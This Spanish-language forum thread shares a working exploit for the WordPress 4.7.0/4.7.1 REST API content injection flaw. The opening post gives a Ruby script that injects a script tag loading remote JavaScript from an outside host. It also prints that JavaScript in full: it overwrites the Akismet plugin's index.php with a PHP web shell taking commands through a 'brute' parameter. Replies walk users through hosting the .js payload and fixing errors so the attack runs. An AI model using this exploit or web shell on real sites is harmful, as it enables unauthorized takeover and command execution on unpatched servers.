WordPress 4.7.0 / 4.7.1 Content Injection / Code Execution

Iniciado por ANTRAX, Febrero 02, 2017, 04:21:04 PM

Tema anterior - Siguiente tema

0 Miembros y 2 Visitantes están viendo este tema.


Acaba de salir una actualización de Wordpress debido a esta falla de seguridad.
Hay muchos Wordpress desactualizados que aún poseen esta vulnerabilidad.

Código: text
# Exploit Title: WP Content Injection Shell Exploit
# Date: 31 Jan' 2017
# Exploit Author: Harsh Jaiswal
# Vendor Homepage: http://wordpress.org
# Version: Wordpress 4.7 - 4.7.1 (Patched in 4.7.2)
# Tested on: Bacbox ubuntu Linux
# Based on: https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html
# This will inject js in post, which on execution will change akismet plugin index.php file to our backdoor (brute parameter) :)
# Credits : Marc, Sucuri, Brute
# Lang : Ruby

require 'rest-client'
require 'json'
puts "Enter Target URI (With wp directory)"
targeturi = gets.chomp
puts "Enter Post ID"
postid = gets.chomp.to_i
response = RestClient.post(
  "#{targeturi}/index.php/wp-json/wp/v2/posts/#{postid}",
  {
    "id" => "#{postid}justtryingshell",
    "title" => "Shell Access Exploit",
    "content" => "Web shell access exploit <script src='http://yourjavascript.com/2211227783/wprce.js'></script>"
  }.to_json,
  :content_type => :json,
  :accept => :json
) {|response, request, result| response }
if(response.code == 200)
puts "Done! After js execution in admin panel, you will have shell access at '#{targeturi}/wp-content/plugins/akismet/index.php?brute=id'"
else
puts "This site is not Vulnerable"
end


#--- wprce.js --- #
x=new XMLHttpRequest()
p='/wp-admin/plugin-editor.php?'
f='file=akismet/index.php'
x.open('GET',p+f,0)
x.send()
$='_wpnonce='+/ce" value="([^"]*?)"/.exec(x.responseText)[1]+'&newcontent=<?=`$_GET[brute]`;&action=update&'+f
x.open('POST',p+f,1)
x.setRequestHeader('Content-Type','application/x-www-form-urlencoded')
x.send($)
#--- EOF --- #


Saludos,
ANTRAX


Buen post Antrax,
Al ejecutarlo en ruby el archivo al que llame hello.rb me muestra el error siguiente, al ser casi nulo mi conocimiento en ruby quisiera verificar si es un error en el código

Código: ruby

ruby 1.9.3p484 (2013-11-22 revision 43786) [i686-linux]
unknow@unknow:~/Escritorio$ ruby hello.rb
hello.rb:41: syntax error, unexpected tSTRING_BEG, expecting $end
    $='_wpnonce='+/ce" value="([^"]*...
       ^



Leen el codigo antes de ejecutarlo? esa parte es javascript

Pues va a ser hora de actualizar esos Wordpress que tengo por ahí. Pero primero a probar un poquito esta vulnerabilidad. Muchísimas gracias por compartir la información.

Hola @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta de CPH (creo), poco sé de programación pero soy administrador de servidores cloud hosting y ufff clientes a miles con WordPress, ¿alguna forma de probar esta vulnerabilidad?

Gracias,
!Duda
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Leen el codigo antes de ejecutarlo? esa parte es javascript

Febrero 21, 2017, 05:08:20 PM #6 Ultima modificación: Febrero 21, 2017, 05:10:55 PM por dragonay
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Hola @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta de CPH (creo), poco sé de programación pero soy administrador de servidores cloud hosting y ufff clientes a miles con WordPress, ¿alguna forma de probar esta vulnerabilidad?

Gracias,
!Duda
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Leen el codigo antes de ejecutarlo? esa parte es javascript
Claro que sí hay manera, nunca entendí porque seth dijo que 'leen el código antes de ejecutarlo' es algo estúpido porque el código aún siendo javascript está siendo mostrado en el script en ruby es como mostrar en c printf("alert(hello)");  Y decir que no compilara porque tiene javascript , en fin si quieres un script hecho en python que si funciona mandame un mensaje

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Hola @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta de CPH (creo), poco sé de programación pero soy administrador de servidores cloud hosting y ufff clientes a miles con WordPress, ¿alguna forma de probar esta vulnerabilidad?

Gracias,
!Duda
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Leen el codigo antes de ejecutarlo? esa parte es javascript
Claro que sí hay manera, nunca entendí porque seth dijo que 'leen el código antes de ejecutarlo' es algo estúpido porque el código aún siendo javascript está siendo mostrado en el script en ruby es como mostrar en c printf("alert(hello)");  Y decir que no compilara porque tiene javascript , en fin si quieres un script hecho en python que si funciona mandame un mensaje

vos tampoco lo leiste


El exploit tiene dos archivos: uno en ruby y uno en javascript
El .js lo tenes que subir a un hosting y cambiar la url en el otro archivo
Despues corres con ruby la otra parte


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Hola @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta de CPH (creo), poco sé de programación pero soy administrador de servidores cloud hosting y ufff clientes a miles con WordPress, ¿alguna forma de probar esta vulnerabilidad?

Gracias,
!Duda
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Leen el codigo antes de ejecutarlo? esa parte es javascript

Usa hasta la parte que dice end y el javascript no lo subas a ningun lado
No va a andar todo el exploit pero, si esto anda bien, deberias poder ver que hay un tag <script> en el comentario

Genial, estaba buscando un exploit para esta vuln, me volvia loco haciendolo manualmente